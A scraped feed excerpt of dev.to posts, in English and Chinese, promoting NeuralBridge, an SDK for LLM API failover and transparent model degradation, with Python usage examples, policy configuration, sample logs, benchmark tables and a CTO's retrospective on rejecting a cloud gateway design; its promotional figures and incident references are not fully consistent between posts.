&lt;/span&gt;&lt;span class="n"&gt;diag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Diagnoser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;diag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-your-key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;flywheel_status&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="c1"&gt;# → 250 fault types covered, 72.4% auto-recovery rate
&lt;/span&gt;
&lt;span class="c1"&gt;# Step 2: Self-heal (when you're ready)
&lt;/span&gt;&lt;span class="n"&gt;shield&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Shield&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;primary_provider&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;claude&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;fallback_providers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;deepseek&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;openai&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;shield&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auto_recover&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# If Claude fails → auto-diagnose → auto-switch → verified response
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Diagnoser is free and open-source&lt;/strong&gt; (Apache-2.0). It tells you what's wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shield is the self-healing engine&lt;/strong&gt; — diagnosis, failover, contract verification, all automatic.&lt;/p&gt;




&lt;h2&gt;
  
  
  The 5-dimensional contract
&lt;/h2&gt;

&lt;p&gt;One thing most people miss: resilience isn't just about API availability. It's about &lt;strong&gt;output certainty&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I verify every response across 5 dimensions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Schema&lt;/strong&gt; — JSON structure matches expected format&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Type&lt;/strong&gt; — Values are the right data types&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Range&lt;/strong&gt; — Numbers are within expected bounds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Completeness&lt;/strong&gt; — All required fields are present&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Semantic&lt;/strong&gt; — Response is topically relevant&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Why? Because the scariest failures are the ones that don't look like failures. A 200 response with wrong data is worse than a 500 that forces a retry.&lt;/p&gt;




&lt;h2&gt;
  
  
  Benchmarks
&lt;/h2&gt;

&lt;p&gt;For the performance nerds:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Diagnosis latency (P50)&lt;/td&gt;
&lt;td&gt;19.0μs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Diagnosis latency (P99)&lt;/td&gt;
&lt;td&gt;39.2μs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Failover switch time&lt;/td&gt;
&lt;td&gt;&amp;lt;100ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fault type coverage&lt;/td&gt;
&lt;td&gt;250 types&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auto-recovery rate (20K test)&lt;/td&gt;
&lt;td&gt;72.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Direct dependencies&lt;/td&gt;
&lt;td&gt;1 (httpx)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The 19μs diagnosis overhead means you're adding roughly &lt;strong&gt;zero latency&lt;/strong&gt; to your existing API calls. If your Claude call takes 500ms, adding NeuralBridge makes it 500.019ms.&lt;/p&gt;




&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;neuralbridge-sdk

&lt;span class="c"&gt;# Free diagnosis&lt;/span&gt;
nb-doctor scan &lt;span class="nt"&gt;--key&lt;/span&gt; sk-your-key
nb-doctor status
nb-doctor free-provider  &lt;span class="c"&gt;# Find the cheapest working provider right now&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The bottom line
&lt;/h2&gt;

&lt;p&gt;AI APIs will fail. That's not a prediction — it's a law of distributed systems.&lt;/p&gt;

&lt;p&gt;The question isn't &lt;strong&gt;"will my agent break?"&lt;/strong&gt; — it's &lt;strong&gt;"what happens when it does?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Right now, for most agents, the answer is: nothing good.&lt;/p&gt;

&lt;p&gt;It doesn't have to be that way.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;NeuralBridge is open-source (Apache-2.0 with commercial restriction for enterprise features). Diagnoser is free forever. Shield starts at $29/month for individual developers.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>ai</category>
      <category>api</category>
      <category>llm</category>
    </item>
    <item>
      <title>模型降级透明化实战：不是换便宜模型，是智能降级</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Wed, 17 Jun 2026 04:09:38 +0000</pubDate>
      <link>https://dev.to/easterndev/mo-xing-jiang-ji-tou-ming-hua-shi-zhan-bu-shi-huan-bian-yi-mo-xing-shi-zhi-neng-jiang-ji-31nc</link>
      <guid>https://dev.to/easterndev/mo-xing-jiang-ji-tou-ming-hua-shi-zhan-bu-shi-huan-bian-yi-mo-xing-shi-zhi-neng-jiang-ji-31nc</guid>
      <description>&lt;h1&gt;
  
  
  模型降级透明化实战：不是换便宜模型，是智能降级
&lt;/h1&gt;

&lt;h2&gt;
  
  
  开篇
&lt;/h2&gt;

&lt;p&gt;你的 AI 应用正在跑 GPT-4o，突然收到 429——应用开始自动降级。&lt;/p&gt;

&lt;p&gt;普通网关：沉默切换，用户浑然不知。&lt;br&gt;
LiteLLM：日志里多一行 Error 429，但你不知道为什么选了 gpt-4o-mini、这个 min 质量够不够、贵不贵。&lt;/p&gt;

&lt;p&gt;NeuralBridge 的做法不一样：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[NeuralBridge] 主目标: gpt-4o (健康分: 92, 预估成本: $0.045)
[NeuralBridge] 触发 L2 降级: openai 返回 429 (Rate Limit)
[NeuralBridge] 候选池: 
  → gpt-4o-mini (健康分:95, 成本:$0.003, 质量:95%)
  → claude-3-haiku (健康分:88, 成本:$0.0025, 质量:88%)
[NeuralBridge] 决策: 按 COST_OPTIMAL 策略 → gpt-4o-mini
[NeuralBridge] 实际成本: $0.003 (节省 93.3%)
[NeuralBridge] 质量预估: 95% (基于历史任务相似度)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;你第一次看见每一块钱是怎么省的。&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  为什么企业需要"透明降级"
&lt;/h2&gt;

&lt;p&gt;2025 年模型降级已经是常态，不是例外：&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;痛点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI 429 频繁&lt;/td&gt;
&lt;td&gt;不知道什么时候切、切成什么&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek 价格波动&lt;/td&gt;
&lt;td&gt;降本机会来了，但不敢动，怕影响质量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;多团队多套 fallback&lt;/td&gt;
&lt;td&gt;A 用 GPT-4o-mini，B 用 Claude-haiku，谁都不知道谁在干什么&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;供应商谈判&lt;/td&gt;
&lt;td&gt;"我们每月 30% 流量可切走" ——但你拿不出数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;企业要的不只是"能降级"，而是&lt;strong&gt;降级过程透明、可控、可审计&lt;/strong&gt;。&lt;/p&gt;




&lt;h2&gt;
  
  
  三层透明降级架构
&lt;/h2&gt;

&lt;h3&gt;
  
  
  第一层：可视化（免费）
&lt;/h3&gt;

&lt;p&gt;verbose=True，每一步都打印：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;neuralbridge&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SelfHealingEngine&lt;/span&gt;

&lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SelfHealingEngine&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;分析这份财报&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4o&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出决策链路、成本、质量预估——用户第一次看清自己的 AI 成本结构。&lt;/p&gt;

&lt;h3&gt;
  
  
  第二层：策略可编程（Pro 版）
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;neuralbridge&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;DegradationPolicy&lt;/span&gt;

&lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;DegradationPolicy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;max_cost_per_1k_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;# 成本红线
&lt;/span&gt;    &lt;span class="n"&gt;min_quality_score&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;85&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;              &lt;span class="c1"&gt;# 质量底线
&lt;/span&gt;    &lt;span class="n"&gt;priority&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;COST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                   &lt;span class="c1"&gt;# 成本优先
&lt;/span&gt;    &lt;span class="n"&gt;fallback_chain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;model&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4o&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;provider&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;openai&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max_latency&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;model&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;qwen-max&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;provider&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dashscope&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max_latency&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;model&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4o-mini&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;provider&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;openai&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cost_cap&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.003&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;alert_on_degradation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SelfHealingEngine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;你的业务规则，你来定。不是厂商给你硬编码的 if-else。&lt;/p&gt;

&lt;h3&gt;
  
  
  第三层：团队级降级治理（Enterprise）
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;全局策略下发：CTO 定义一套规则，团队强制执行&lt;/li&gt;
&lt;li&gt;降级审计日志：谁、什么时间、为什么切、省了多少钱&lt;/li&gt;
&lt;li&gt;成本归因：按项目/团队/个人统计降级节省&lt;/li&gt;
&lt;li&gt;供应商谈判筹码："我们每月 30% 流量可切走"&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  实战案例：某 SaaS 接入透明降级
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;：日均 50 万次 AI API 调用，主要用 GPT-4o，OpenAI 429 频率约为 3%。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;接入后第一个月数据&lt;/strong&gt;：&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指标&lt;/th&gt;
&lt;th&gt;数值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;429 触发次数&lt;/td&gt;
&lt;td&gt;14,892&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成功降级次数&lt;/td&gt;
&lt;td&gt;14,781 (99.3%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;平均降级延迟&lt;/td&gt;
&lt;td&gt;+0.8s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;降级后质量损失&lt;/td&gt;
&lt;td&gt;&amp;lt;3%（任务相似度评估）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;节省成本&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$8,742&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;质量怎么保住的？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;降级不是随机选模型，是按 COHERE-QUALITY 评分选质量最接近的候选。质量跌过阈值才触发告警，告警内容：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[NeuralBridge Pro] ⚠️ 质量告警: claude-3-haiku 降至 82%，低于阈值 85%
[NeuralBridge Pro] 建议: 切回 gpt-4o 或升级为 GPT-4o-turbo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  为什么不是 LiteLLM
&lt;/h2&gt;

&lt;p&gt;LiteLLM 是黑盒网关，你看不到：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;为什么要选这个模型？规则是什么？&lt;/li&gt;
&lt;li&gt;降级后质量真的够吗？&lt;/li&gt;
&lt;li&gt;这个月降级多少次、节省多少钱？&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;LiteLLM 的问题在 2025 年集中爆发：&lt;strong&gt;供应链投毒事件&lt;/strong&gt;——厂商偷偷换模型，用户完全不知情。&lt;/p&gt;

&lt;p&gt;企业级需求已经变了：&lt;strong&gt;我要看见每个决定，不只是接受结果。&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  产品地址
&lt;/h2&gt;

&lt;p&gt;官网：&lt;a href="https://neuralbridge.cn" rel="noopener noreferrer"&gt;https://neuralbridge.cn&lt;/a&gt;&lt;br&gt;
文档：&lt;a href="https://neuralbridge.cn/docs" rel="noopener noreferrer"&gt;https://neuralbridge.cn/docs&lt;/a&gt;&lt;br&gt;
GitHub：&lt;a href="https://github.com/neuralbridge-sdk/neuralbridge-sdk" rel="noopener noreferrer"&gt;https://github.com/neuralbridge-sdk/neuralbridge-sdk&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;免费版包含第一层透明日志。&lt;br&gt;
Pro 版（$99/月）包含完整策略引擎和团队治理。&lt;br&gt;
Enterprise 版按需报价。&lt;/p&gt;




&lt;h2&gt;
  
  
  核心观点
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;模型降级不是 failover，是成本策略。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;不是"坏了没办法才降级"，而是"有策略地管理 AI 成本结构，在成本和质量之间找到最优解"。&lt;/p&gt;

&lt;p&gt;Failover = 保险。&lt;br&gt;
智能降级 = 竞争力。&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>failover</category>
      <category>python</category>
    </item>
    <item>
      <title>为什么我们放弃了网关架构：一个技术团队的血泪复盘</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Wed, 17 Jun 2026 04:09:09 +0000</pubDate>
      <link>https://dev.to/easterndev/wei-shi-yao-wo-men-fang-qi-liao-wang-guan-jia-gou-ge-ji-zhu-tuan-dui-de-xie-lei-fu-pan-4c03</link>
      <guid>https://dev.to/easterndev/wei-shi-yao-wo-men-fang-qi-liao-wang-guan-jia-gou-ge-ji-zhu-tuan-dui-de-xie-lei-fu-pan-4c03</guid>
      <description>&lt;h1&gt;
  
  
  为什么我们放弃了网关架构：一个技术团队的血泪复盘
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;作者：Guigui Wang，NeuralBridge CTO&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;2026-06-17&lt;/strong&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  引子：LiteLLM 投毒事件后，我们重新审视了自己
&lt;/h2&gt;

&lt;p&gt;2026年6月，开源网关 OneAPI 被曝供应链投毒，一时间所有用黑盒网关的企业都慌了。&lt;/p&gt;

&lt;p&gt;我们也一样。&lt;/p&gt;

&lt;p&gt;彼时 NeuralBridge 内部正在开发一套「云端集中网关」架构——所有流量过我的网关，我收过路费。听起来很美：&lt;strong&gt;零算力成本、纯软件盈利、天然防绕过&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;直到我们自己跑了一遍完整的技术尽调，才发现这个方案有一个致命问题：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;这个产品在现实中不存在。&lt;/strong&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  什么是「云端集中网关」架构
&lt;/h2&gt;

&lt;p&gt;当时我们设计的架构是这样的：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;用户本地Agent 
    ↓ 强制回传
云端网关（我们部署）
    ↓ 智能路由
各大模型厂商（OpenAI/DeepSeek/DashScope）
    ↓
回包给用户Agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;收费逻辑&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;基础Token转发：极低单价（引流）&lt;/li&gt;
&lt;li&gt;自愈触发：每次扣费&lt;/li&gt;
&lt;li&gt;语义校验：每次扣费&lt;/li&gt;
&lt;li&gt;漂移检测：每次扣费&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;防绕过逻辑&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;自愈代码不放本地，云端独占&lt;/li&gt;
&lt;li&gt;用户绕开网关 = 白嫖但没任何高级功能&lt;/li&gt;
&lt;li&gt;完美闭环&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;看起来无懈可击，对吧？&lt;/p&gt;




&lt;h2&gt;
  
  
  问题一：我们的产品是嵌入式SDK，不是网关
&lt;/h2&gt;

&lt;p&gt;当红队去 PyPI 页面核实我们的产品时，发现了一个根本性问题：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;实际产品形态：纯本地SDK，pip install neuralbridge-sdk
                代码运行在用户Python进程内
                零网络依赖

我们声称的架构：云端集中网关
                所有流量过我们服务器
                按量计费
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;这两个东西完全不是一回事。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;我们发出去的 SDK 代码，有一部分是 Cython 编译的 &lt;code&gt;.pyd&lt;/code&gt;（Windows）和 &lt;code&gt;.so&lt;/code&gt;（Linux/Mac）二进制。核心自愈逻辑全在本地跑，没有任何代码发送到云端。&lt;/p&gt;

&lt;p&gt;如果要改成「云端网关」模式，等于要重写整个产品。&lt;/p&gt;




&lt;h2&gt;
  
  
  问题二：性能优势会全部丧失
&lt;/h2&gt;

&lt;p&gt;我们 SDK 最大的卖点是什么？&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;快&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;实测数据：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;P50 延迟：~37µs&lt;/li&gt;
&lt;li&gt;P99 延迟：~120µs&lt;/li&gt;
&lt;li&gt;比LiteLLM快2.6-5.7倍&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为什么这么快？因为是本地函数调用，没有网络开销。&lt;/p&gt;

&lt;p&gt;一旦改成网关架构：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;用户进程 → 我们的服务器（香港） → 模型厂商 → 回来 → 我们的服务器 → 用户进程
                                          ↓
                                    额外网络延迟
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;实测会增加 &lt;strong&gt;50-200ms&lt;/strong&gt; 的网络延迟。37µs 变成 200ms+，&lt;strong&gt;快50-500倍的优势瞬间归零&lt;/strong&gt;。&lt;/p&gt;




&lt;h2&gt;
  
  
  问题三：合规成本远超预期
&lt;/h2&gt;

&lt;p&gt;做云端网关就要处理用户数据。&lt;/p&gt;

&lt;p&gt;用户问：&lt;strong&gt;我的数据会经过你的服务器吗？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;说实话：&lt;strong&gt;会，但只是元数据（错误码、重试次数、耗时），不是Prompt和Response。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;但用户的法务不这么认为。他们会说：「你们收了流量，就要签数据处理协议（DPA）」。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DPA 要审&lt;/li&gt;
&lt;li&gt;要过安全评估&lt;/li&gt;
&lt;li&gt;要存证&lt;/li&gt;
&lt;li&gt;用户量大还要ICP备案&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一个纯软件公司瞬间变成数据处理者，合规成本轻松超过收入。&lt;/p&gt;




&lt;h2&gt;
  
  
  问题四：没有网络层的「防绕过」是空中楼阁
&lt;/h2&gt;

&lt;p&gt;我们设计的防绕过逻辑：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;「本地Agent无任何高级功能代码，想用必须走我网关」&lt;/p&gt;
&lt;/blockquote&gt;

